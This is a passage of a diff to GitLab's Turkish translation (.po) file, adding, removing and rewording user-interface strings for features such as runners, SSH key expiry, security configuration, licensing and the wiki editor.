+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr "Åžifreyi kaydet"
msgid "Save pipeline schedule"
msgstr "İş hattı takvimini kaydet"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr "Yukarı kaydır"
msgid "Search"
msgstr "Ara"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr "Ara veya sonuçları filtrele..."
msgid "Search or filter results…"
msgstr "Sonuçları ara ya da filtrele…"
-msgid "Search or jump to…"
-msgstr "Ara veya atla…"
-
msgid "Search project"
msgstr "Proje ara"
@@ -28880,12 +28622,6 @@ msgstr[1] "viki sonucu"
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr "Durum"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr "Sayfa Seç"
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Hedef dalı seç"
-msgid "Select the custom project template source group."
-msgstr "Özel proje şablonu kaynak grubunu seçin."
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr "Hizmet Şablonları"
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr "Tüm üyeleri göster"
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr "Üst sayfaları göster"
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "Tüm sorunlar gösteriliyor"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "EriÅŸim seviyesi, artan"
-
-msgid "SortOptions|Access level, descending"
-msgstr "EriÅŸim seviyesi, azalan"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Son iletiÅŸim"
msgid "SortOptions|Last created"
msgstr "Son oluÅŸturulan"
-msgid "SortOptions|Last joined"
-msgstr "Son katılan"
-
msgid "SortOptions|Last updated"
msgstr "Son güncelleme"
@@ -30729,9 +30516,6 @@ msgstr "Ä°sim, azalan"
msgid "SortOptions|Oldest created"
msgstr "En eski oluÅŸturulan"
-msgid "SortOptions|Oldest joined"
-msgstr "En eski katılan"
-
msgid "SortOptions|Oldest last activity"
msgstr "En son etkinlik"
@@ -30783,6 +30567,9 @@ msgstr "Daha sonra baÅŸlat"
msgid "SortOptions|Start soon"
msgstr "Yakında başlat"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "Tür"
@@ -30801,6 +30588,9 @@ msgstr "Kaynak (dal veya etiket)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr "AÅŸama"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "Standart"
@@ -31128,12 +30909,18 @@ msgstr "Durum:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr "Bilinmeyen"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr "Pazar"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr "Destek sayfası URL'si"
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr "Dosya içeriğini kopyalamak için kaynağa geçiş yapın"
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr "Telefon numarası"
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Åžablon"
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "Her veri girişinde harcanan zaman bu aşamada toplanır."
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "Bir seri gözlemlenen değerin ortasında yatan değer. Örneğin: 3, 5, 9 arasında, medyan 5'tir. 3, 5, 7, 8 arasında medyan (5+7)/2=6'dır."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "Kullanıcı etkinlik takvimi yüklenirken bir hata oluştu."
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,8 +32982,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Üçüncü taraf teklifleri"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr "Bu dizin"
@@ -33411,7 +33204,7 @@ msgstr "Bu, hesabınıza giriÅŸ yaptığınız cihazların listesidir. TanımadÄ
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr "Ait olduğunuz bir grubun proje başına bildirim seviyesini belirlemek için proje sayfasını ziyaret etmeniz ve orada bildirim seviyesini değiştirmeniz gerekir."
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Yarın"
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr "Güncellendi:"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "%{updated_by} tarafından %{updated_at} zamanında güncellendi"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr "Kullanıcı projeden başarıyla kaldırıldı."
msgid "User was successfully updated."
msgstr "Kullanıcı başarıyla güncelleştirildi."
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr "DeÄŸer"
-msgid "Value Stream"
-msgstr "Değer Akışı"
-
msgid "Value Stream Analytics"
msgstr "Değer Akışı Analizleri"
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "DoÄŸrulama bilgileri"
-
msgid "Verification status"
msgstr "DoÄŸrulama durumu"
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "Grup etiketlerini görüntüle"
@@ -36097,9 +35902,6 @@ msgstr "GitLab'da görüntüle"
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "Proje etiketlerini görüntüle"
@@ -36202,7 +36007,10 @@ msgstr "Bilinmeyen"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
